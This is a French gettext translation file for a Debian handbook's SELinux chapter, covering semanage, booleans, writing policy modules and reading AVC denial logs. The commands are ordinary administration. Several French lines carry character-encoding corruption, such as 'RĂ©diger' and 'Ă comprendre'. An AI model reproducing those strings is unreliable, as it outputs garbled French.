#| "<computeroutput># </computeroutput><userinput>semanage login -a -s user_u rhertzog</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semanage login -l</userinput>\n"
#| "<computeroutput>\n"
#| "Login Name SELinux User MLS/MCS Range Service\n"
#| "\n"
#| "__default__ unconfined_u SystemLow-SystemHigh *\n"
#| "rhertzog user_u SystemLow *\n"
#| "root unconfined_u SystemLow-SystemHigh *\n"
#| "system_u system_u SystemLow-SystemHigh *\n"
#| "# </computeroutput><userinput>semanage login -d rhertzog</userinput> "
msgid ""
"<computeroutput># </computeroutput><userinput>semanage login -a -s user_u rhertzog</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage login -l</userinput>\n"
"<computeroutput>\n"
"Login Name SELinux User MLS/MCS Range Service\n"
"\n"
"__default__ unconfined_u s0-s0:c0.c1023 *\n"
"rhertzog user_u s0 *\n"
"root unconfined_u s0-s0:c0.c1023 *\n"
"# </computeroutput><userinput>semanage login -d rhertzog</userinput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>semanage login -a -s user_u rhertzog</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage login -l</userinput>\n"
"<computeroutput>\n"
"Login Name SELinux User MLS/MCS Range Service\n"
"\n"
"__default__ unconfined_u SystemLow-SystemHigh *\n"
"rhertzog user_u SystemLow *\n"
"root unconfined_u SystemLow-SystemHigh *\n"
"system_u system_u SystemLow-SystemHigh *\n"
"# </computeroutput><userinput>semanage login -d rhertzog</userinput> "
msgid "<command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>."
msgstr "<command>semanage user -l</command> liste les correspondances entre identité SELinux et rôles possibles. Ajouter une nouvelle identité nécessite de préciser d'une part les rôles correspondants et d'autre part, un préfixe d'étiquetage qui définira le type affecté aux fichiers personnels (<filename>/home/<replaceable>utilisateur</replaceable>/*</filename>). Le préfixe est à choisir entre <literal>user</literal>, <literal>staff</literal> et <literal>sysadm</literal>. Un préfixe « <literal>staff</literal> » donnera des fichiers typés <literal>staff_home_dir_t</literal>. La commande créant une identité est <command>semanage user -a -R <replaceable>rôles</replaceable> -P <replaceable>préfixe</replaceable> <replaceable>identité</replaceable></command>. Enfin, une identité peut être supprimée avec <command>semanage user -d <replaceable>identité</replaceable></command>."
#, fuzzy
#| msgid ""
#| "<computeroutput># </computeroutput><userinput>semanage user -a -R 'staff_r user_r' -P staff test_u</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semanage user -l</userinput>\n"
#| "<computeroutput>\n"
#| " Labeling MLS/ MLS/ \n"
#| "SELinux User Prefix MCS Level MCS Range SELinux Roles\n"
#| "\n"
#| "root sysadm SystemLow SystemLow-SystemHigh staff_r sysadm_r system_r\n"
#| "staff_u staff SystemLow SystemLow-SystemHigh staff_r sysadm_r\n"
#| "sysadm_u sysadm SystemLow SystemLow-SystemHigh sysadm_r\n"
#| "system_u user SystemLow SystemLow-SystemHigh system_r\n"
#| "test_u staff SystemLow SystemLow staff_r user_r\n"
#| "unconfined_u unconfined SystemLow SystemLow-SystemHigh system_r unconfined_r\n"
#| "user_u user SystemLow SystemLow user_r\n"
#| "# </computeroutput><userinput>semanage user -d test_u</userinput>"
msgid ""
"<computeroutput># </computeroutput><userinput>semanage user -a -R 'staff_r user_r' -P staff test_u</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage user -l</userinput>\n"
"<computeroutput>\n"
" Labeling MLS/ MLS/ \n"
"SELinux User Prefix MCS Level MCS Range SELinux Roles\n"
"\n"
"root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r\n"
"staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r\n"
"sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r\n"
"system_u user s0 s0-s0:c0.c1023 system_r\n"
"test_u staff s0 s0 staff_r user_r\n"
"unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r\n"
"user_u user s0 s0 user_r\n"
"# </computeroutput><userinput>semanage user -d test_u</userinput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>semanage user -a -R 'staff_r user_r' -P staff test_u</userinput>\n"
"<computeroutput># </computeroutput><userinput>semanage user -l</userinput>\n"
"<computeroutput>\n"
" Labeling MLS/ MLS/ \n"
"SELinux User Prefix MCS Level MCS Range SELinux Roles\n"
"\n"
"root sysadm SystemLow SystemLow-SystemHigh staff_r sysadm_r system_r\n"
"staff_u staff SystemLow SystemLow-SystemHigh staff_r sysadm_r\n"
"sysadm_u sysadm SystemLow SystemLow-SystemHigh sysadm_r\n"
"system_u user SystemLow SystemLow-SystemHigh system_r\n"
"test_u staff SystemLow SystemLow staff_r user_r\n"
"unconfined_u unconfined SystemLow SystemLow-SystemHigh system_r unconfined_r\n"
"user_u user SystemLow SystemLow user_r\n"
"# </computeroutput><userinput>semanage user -d test_u</userinput>"
msgid "Managing File Contexts, Ports and Booleans"
msgstr "Gestion des contextes de fichiers, des ports et des booléens"
msgid "Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules."
msgstr "Chaque module SELinux fournit un ensemble de règles d'étiquetage des fichiers, mais il est également possible de rajouter des règles d'étiquetage spécifiques afin de les adapter à un cas particulier. Ainsi, pour rendre toute l'arborescence <filename>/srv/www/</filename> accessible au serveur web, on pourrait exécuter <command>semanage fcontext -a -t httpd_sys_content_t \"/srv/www(/.*)?\"</command>, puis <command>restorecon -R /srv/www/</command>. La première commande enregistre la nouvelle règle d'étiquetage et la seconde restaure les bonnes étiquettes en fonction des règles enregistrées."
msgid "Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>."
msgstr "D'une manière similaire, les ports TCP/UDP sont étiquetés afin que seuls les démons correspondants puissent y écouter. Ainsi, si l'on veut que le serveur web puisse également écouter sur le port 8 080, il faut exécuter la commande <command>semanage port -m -t http_port_t -p tcp 8080</command>."
msgid "Some SELinux modules export boolean options that you can tweak to alter the behavior of the default rules. The <command>getsebool</command> utility can be used to inspect those options (<command>getsebool <replaceable>boolean</replaceable></command> displays one option, and <command>getsebool -a</command> them all). The <command>setsebool <replaceable>boolean</replaceable> <replaceable>value</replaceable></command> command changes the current value of a boolean option. The <literal>-P</literal> option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in <filename>~/public_html/</filename>)."
msgstr "Les modules SELinux exportent parfois des options booléennes qui influencent le comportement des règles. L'utilitaire <command>getsebool</command> permet de consulter l'état de ces options (<command>getsebool <replaceable>booléen</replaceable></command> affiche une option et <command>getsebool -a</command> les affiche toutes). La commande <command>setsebool <replaceable>booléen</replaceable> <replaceable>valeur</replaceable></command> change la valeur courante d'une option. L'option <literal>-P</literal> rend le changement permanent, autrement dit la nouvelle valeur sera celle par défaut et sera conservée au prochain redémarrage. L'exemple ci-dessous permet au serveur web d'accéder aux répertoires personnels des utilisateurs (utile dans le cas où ils ont des sites web personnels dans <filename>~/public_html/</filename> par exemple)."
#, fuzzy
#| msgid ""
#| "<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
#| "<computeroutput>httpd_enable_homedirs --> off\n"
#| "# </computeroutput><userinput>setsebool -P httpd_enable_homedirs on</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput> \n"
#| "<computeroutput>httpd_enable_homedirs --> on</computeroutput>"
msgid ""
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
"<computeroutput>httpd_enable_homedirs --> off\n"
"# </computeroutput><userinput>setsebool -P httpd_enable_homedirs on</userinput>\n"
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
"<computeroutput>httpd_enable_homedirs --> on</computeroutput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput>\n"
"<computeroutput>httpd_enable_homedirs --> off\n"
"# </computeroutput><userinput>setsebool -P httpd_enable_homedirs on</userinput>\n"
"<computeroutput># </computeroutput><userinput>getsebool httpd_enable_homedirs</userinput> \n"
"<computeroutput>httpd_enable_homedirs --> on</computeroutput>"
msgid "Adapting the Rules"
msgstr "L'adaptation des règles"
msgid "Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>."
msgstr "Puisque l'ensemble des règles (que l'on nomme <foreignphrase>policy</foreignphrase>) est modulaire, il peut être intéressant de développer de nouveaux modules pour les applications (éventuellement spécifiques) qui n'en disposent pas encore, ces nouveaux modules venant alors compléter la <foreignphrase>reference policy</foreignphrase>."
msgid "To create new modules, the <emphasis role=\"pkg\">selinux-policy-dev</emphasis> package is required, as well as <emphasis role=\"pkg\">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:"
msgstr "Le paquet <emphasis role=\"pkg\">selinux-policy-dev</emphasis> sera nécessaire, ainsi que <emphasis role=\"pkg\">selinux-policy-doc</emphasis>. Ce dernier contient la documentation des règles standards (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) et des fichiers exemples permettant de créer de nouveaux modules. Installons ces fichiers pour les étudier de plus près :"
msgid ""
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.fc ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.if ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.te ./</userinput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.fc ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.if ./</userinput>\n"
"<computeroutput>$ </computeroutput><userinput>cp /usr/share/doc/selinux-policy-doc/example.te ./</userinput>"
msgid "The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating."
msgstr "Le fichier <filename>.te</filename> est le plus important : il définit les règles à proprement parler. Le fichier <filename>.fc</filename> définit les « contextes des fichiers », autrement dit les types affectés aux fichiers relatifs à ce module. Les informations du <filename>.fc</filename> sont utilisées lors de l'étiquetage des fichiers sur le disque. Enfin, le fichier <filename>.if</filename> définit l'interface du module ; il s'agit d'un ensemble de « fonctions publiques » qui permettent à d'autres modules de s'interfacer proprement avec celui en cours de création."
msgid "Writing a <filename>.fc</filename> file"
msgstr "RĂ©diger un fichier <filename>.fc</filename>"
msgid "Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree."
msgstr "La lecture de l'exemple qui suit suffit Ă comprendre la structure d'un tel fichier. Il est possible d'employer une expression rationnelle pour affecter le mĂŞme contexte Ă plusieurs fichiers, voire Ă toute une arborescence."
msgid "<filename>example.fc</filename> file"
msgstr "Fichier <filename>example.fc</filename>"
msgid ""
"# myapp executable will have:\n"
"# label: system_u:object_r:myapp_exec_t\n"
"# MLS sensitivity: s0\n"
"# MCS categories: <none>\n"
"\n"
"/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)"
msgstr ""
"# myapp executable will have:\n"
"# label: system_u:object_r:myapp_exec_t\n"
"# MLS sensitivity: s0\n"
"# MCS categories: <none>\n"
"\n"
"/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)"
msgid "Writing a <filename>.if</filename> File"
msgstr "RĂ©diger un fichier <filename>.if</filename>"
msgid "In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files."
msgstr "Dans l'exemple suivant, la première interface (<literal>myapp_domtrans</literal>) sert à contrôler qui a le droit d'exécuter l'application et la seconde (<literal>myapp_read_log</literal>) fournit un droit de lecture sur les fichiers de logs de l'application."
msgid "Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights."
msgstr "Chaque interface doit générer un ensemble correct de règles comme s'il était directement placé dans un fichier <filename>.te</filename>. Il faut donc déclarer tous les types employés (avec la macro <literal>gen_require</literal>) et employer les directives standards pour attribuer des droits. Notons toutefois qu'il est possible d'employer des interfaces fournies par d'autres modules. La prochaine section en dévoilera plus sur la manière d'exprimer ces droits."
msgid "<filename>example.if</filename> File"
msgstr "Fichier <filename>example.if</filename>"
msgid ""
"## <summary>Myapp example policy</summary>\n"
"## <desc>\n"
"## <p>\n"
"## More descriptive text about myapp. The <desc>\n"
"## tag can also use <p>, <ul>, and <ol>\n"
"## html tags for formatting.\n"
"## </p>\n"
"## <p>\n"
"## This policy supports the following myapp features:\n"
"## <ul>\n"
"## <li>Feature A</li>\n"
"## <li>Feature B</li>\n"
"## <li>Feature C</li>\n"
"## </ul>\n"
"## </p>\n"
"## </desc>\n"
"#\n"
"\n"
"########################################\n"
"## <summary>\n"
"## Execute a domain transition to run myapp.\n"
"## </summary>\n"
"## <param name=\"domain\">\n"
"## Domain allowed to transition.\n"
"## </param>\n"
"#\n"
"interface(`myapp_domtrans',`\n"
" gen_require(`\n"
" type myapp_t, myapp_exec_t;\n"
" ')\n"
"\n"
" domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## <summary>\n"
"## Read myapp log files.\n"
"## </summary>\n"
"## <param name=\"domain\">\n"
"## Domain allowed to read the log files.\n"
"## </param>\n"
"#\n"
"interface(`myapp_read_log',`\n"
" gen_require(`\n"
" type myapp_log_t;\n"
" ')\n"
"\n"
" logging_search_logs($1)\n"
" allow $1 myapp_log_t:file r_file_perms;\n"
"')"
msgstr ""
"## <summary>Myapp example policy</summary>\n"
"## <desc>\n"
"## <p>\n"
"## More descriptive text about myapp. The <desc>\n"
"## tag can also use <p>, <ul>, and <ol>\n"
"## html tags for formatting.\n"
"## </p>\n"
"## <p>\n"
"## This policy supports the following myapp features:\n"
"## <ul>\n"
"## <li>Feature A</li>\n"
"## <li>Feature B</li>\n"
"## <li>Feature C</li>\n"
"## </ul>\n"
"## </p>\n"
"## </desc>\n"
"#\n"
"\n"
"########################################\n"
"## <summary>\n"
"## Execute a domain transition to run myapp.\n"
"## </summary>\n"
"## <param name=\"domain\">\n"
"## Domain allowed to transition.\n"
"## </param>\n"
"#\n"
"interface(`myapp_domtrans',`\n"
" gen_require(`\n"
" type myapp_t, myapp_exec_t;\n"
" ')\n"
"\n"
" domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## <summary>\n"
"## Read myapp log files.\n"
"## </summary>\n"
"## <param name=\"domain\">\n"
"## Domain allowed to read the log files.\n"
"## </param>\n"
"#\n"
"interface(`myapp_read_log',`\n"
" gen_require(`\n"
" type myapp_log_t;\n"
" ')\n"
"\n"
" logging_search_logs($1)\n"
" allow $1 myapp_log_t:file r_file_perms;\n"
"')"
msgid "<emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>"
msgstr "<emphasis>DOCUMENTATION</emphasis> Explications sur la <foreignphrase>reference policy</foreignphrase>"
#, fuzzy
#| msgid "The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type=\"block\" url=\"https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted\" />"
msgid "The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type=\"block\" url=\"https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted\" />"
msgstr "La <foreignphrase>reference policy</foreignphrase> évolue comme un projet libre au gré des contributions. Le projet est hébergé sur le site de Tresys, une des sociétés les plus actives autour de SELinux. Leur wiki contient des explications sur la structure des règles et sur la manière d'en créer de nouvelles. <ulink type=\"block\" url=\"https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted\" />"
msgid "Writing a <filename>.te</filename> File"
msgstr "RĂ©diger un fichier <filename>.te</filename>"
msgid "Have a look at the <filename>example.te</filename> file:"
msgstr "Analysons le contenu du fichier <filename>example.te</filename>Â :"
msgid "<emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language"
msgstr "<emphasis>POUR ALLER PLUS LOIN</emphasis> Langage de macro <command>m4</command>"
msgid "To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy."
msgstr "Pour structurer proprement l'ensemble des règles, les développeurs de SELinux se sont appuyés sur un langage de création de macro-commandes. Au lieu de répéter à l'infini des directives <emphasis>allow</emphasis> très similaires, la création de fonctions « macro » permet d'utiliser une logique de plus haut niveau et donc de rendre l'ensemble de règles plus lisible."
msgid "In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives."
msgstr "Dans la pratique, la compilation des règles va faire appel à l'outil <command>m4</command> pour effectuer l'opération inverse : à partir des directives de haut niveau, il va reconstituer une grande base de données de directives <emphasis>allow</emphasis>."
msgid "The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time."
msgstr "Ainsi, les « interfaces » ne sont rien que des fonctions macro qui vont être remplacées par un ensemble de règles au moment de la compilation. De même, certaines permissions sont en réalité des ensembles de permissions qui sont remplacées par leur valeur au moment de la compilation."
msgid ""
"policy_module(myapp,1.0.0) <co id=\"example.te.module\"></co>\n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; <co id=\"example.te.type\"></co>\n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) <co id=\"example.te.domain\"></co>\n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) <co id=\"example.te.interface\"></co>\n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; <co id=\"example.te.allow\"></co>\n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgstr ""
"policy_module(myapp,1.0.0) <co id=\"example.te.module\"></co>\n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; <co id=\"example.te.type\"></co>\n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) <co id=\"example.te.domain\"></co>\n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) <co id=\"example.te.interface\"></co>\n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; <co id=\"example.te.allow\"></co>\n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgid "The module must be identified by its name and version number. This directive is required."
msgstr "Le module doit être identifié par son nom et par son numéro de version. Cette directive est requise."
msgid "If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights."
msgstr "Si le module introduit de nouveaux types, il doit les déclarer avec des directives comme celle-ci. Il ne faut pas hésiter à créer autant de types que nécessaires, plutôt que distribuer trop de droits inutiles."
msgid "Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain)."
msgstr "Ces interfaces précisent que le type <literal>myapp_t</literal> est prévu pour être un domaine de processus et qu'il doit être employé pour tout exécutable étiqueté par <literal>myapp_exec_t</literal>. Implicitement, cela ajoute un attribut <literal>exec_type</literal> sur ces objets. Sa présence permet à d'autres modules de donner le droit d'exécuter ces programmes : ainsi, le module <literal>userdomain</literal> va permettre aux processus de domaine <literal>user_t</literal>, <literal>staff_t</literal> et <literal>sysadm_t</literal> de les exécuter. Les domaines d'autres applications confinées n'auront pas le droit de l'exécuter, sauf si les règles prévoient des droits similaires (c'est le cas par exemple pour <command>dpkg</command> avec le domaine <literal>dpkg_t</literal>)."
#, fuzzy
#| msgid "<literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example granting rights to <command>logrotate</command> so that it can manipulate them)."
msgid "<literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to <command>logrotate</command> so that it can manipulate them)."
msgstr "<literal>logging_log_file</literal> est une interface fournie par la <foreignphrase>reference policy</foreignphrase> qui sert à indiquer que les fichiers étiquetés avec le type précisé en paramètre sont des fichiers de logs et doivent bénéficier des droits associés (par exemple ceux permettant à <command>logrotate</command> de les manipuler)."
msgid "The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations)."
msgstr "La directive <literal>allow</literal> est la directive de base qui permet d'autoriser une opération. Le premier paramètre est le domaine du processus qui sera autorisé à effectuer l'opération. Le second décrit l'objet qu'un processus du domaine aura le droit de manipuler. Ce paramètre prend la forme « <replaceable>type</replaceable>:<replaceable>genre</replaceable> » où <replaceable>type</replaceable> est son type SELinux et où <replaceable>genre</replaceable> décrit la nature de l'objet (fichier, répertoire, socket, fifo, etc.). Enfin, le dernier paramètre décrit les permissions (les opérations qui sont autorisées)."
msgid "Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them."
msgstr "Les permissions se définissent comme des ensembles d'opérations autorisées et prennent la forme <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. Il est également possible d'employer des macros qui correspondent aux ensembles de permissions les plus utiles. Le fichier <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> permet de les découvrir."
#, fuzzy
#| msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type=\"block\" url=\"http://www.selinuxproject.org/page/ObjectClassesPerms\" />"
msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type=\"block\" url=\"https://selinuxproject.org/page/ObjectClassesPerms\" />"
msgstr "La page web suivante fournit une liste relativement exhaustive des genres d'objet <foreignphrase>(object classes)</foreignphrase> et des permissions que l'on peut accorder : <ulink type=\"block\" url=\"http://www.selinuxproject.org/page/ObjectClassesPerms\" />"
msgid "Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates."
msgstr "Il ne reste plus qu'à trouver l'ensemble minimal des règles nécessaires au bon fonctionnement du service ou de l'application ciblé(e) par le module. Pour cela, il est préférable de bien connaître le fonctionnement de l'application et d'avoir une idée claire des flux de données qu'elle gère et/ou génère."
msgid "However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:"
msgstr "Toutefois, une approche empirique est possible. Une fois les différents objets impliqués correctement étiquetés, on peut utiliser l'application en mode permissif : les opérations normalement interdites sont tracées mais réussissent tout de même. Il suffit alors d'analyser ces traces pour identifier les opérations qu'il faut autoriser. Voici à quoi peut ressembler une de ces traces :"
msgid "avc: denied { read write } for pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"
msgstr "avc: denied { read write } for pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1"
msgid "To better understand this message, let us study it piece by piece."
msgstr "Pour mieux comprendre ce message, analysons-le bout par bout."
msgid "Analysis of an SELinux trace"
msgstr "Analyse d'une trace SELinux"
msgid "Message"
msgstr "Message"
msgid "Description"
msgstr "Description"
msgid "<computeroutput>avc: denied</computeroutput>"
msgstr "<computeroutput>avc: denied</computeroutput>"
msgid "An operation has been denied."
msgstr "Une opération a été refusée."
msgid "<computeroutput>{ read write }</computeroutput>"
msgstr "<computeroutput>{ read write }</computeroutput>"
msgid "This operation required the <literal>read</literal> and <literal>write</literal> permissions."
msgstr "Cette opération requérait les permissions <literal>read</literal> et <literal>write</literal>."
msgid "<computeroutput>pid=1876</computeroutput>"
msgstr "<computeroutput>pid=1876</computeroutput>"
msgid "The process with PID 1876 executed the operation (or tried to execute it)."
msgstr "Le processus ayant le PID 1876 a exécuté l'opération (ou essayé de l'exécuter)."
msgid "<computeroutput>comm=\"syslogd\"</computeroutput>"
msgstr "<computeroutput>comm=\"syslogd\"</computeroutput>"
msgid "The process was an instance of the <literal>syslogd</literal> program."
msgstr "Le processus Ă©tait une instance de la commande <literal>syslogd</literal>."
msgid "<computeroutput>name=\"xconsole\"</computeroutput>"
msgstr "<computeroutput>name=\"xconsole\"</computeroutput>"
msgid "The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead."
msgstr "L'objet visé s'appelait <literal>xconsole</literal>. Dans certains cas on peut aussi avoir une variable « path », avec un chemin d'accès complet."
msgid "<computeroutput>dev=tmpfs</computeroutput>"
msgstr "<computeroutput>dev=tmpfs</computeroutput>"
#, fuzzy
#| msgid "The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example: “sda3”)."
msgid "The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”)."
msgstr "Le périphérique stockant l'objet est de type <literal>tmpfs</literal>. Pour un disque réel, nous pourrions voir la partition contenant l'objet (exemple : « sda3 »)."
msgid "<computeroutput>ino=5510</computeroutput>"
msgstr "<computeroutput>ino=5510</computeroutput>"
msgid "The object is identified by the inode number 5510."
msgstr "L'objet est identifié par le numéro d'inode 5510."
msgid "<computeroutput>scontext=system_u:system_r:syslogd_t:s0</computeroutput>"
msgstr "<computeroutput>scontext=system_u:system_r:syslogd_t:s0</computeroutput>"
msgid "This is the security context of the process who executed the operation."
msgstr "C'est le contexte de sécurité courant du processus qui a exécuté l'opération."
msgid "<computeroutput>tcontext=system_u:object_r:device_t:s0</computeroutput>"
msgstr "<computeroutput>tcontext=system_u:object_r:device_t:s0</computeroutput>"
msgid "This is the security context of the target object."
msgstr "C'est le contexte de sécurité de l'objet cible."
msgid "<computeroutput>tclass=fifo_file</computeroutput>"
msgstr "<computeroutput>tclass=fifo_file</computeroutput>"
msgid "The target object is a FIFO file."
msgstr "L'objet cible est un fichier FIFO."
#, fuzzy
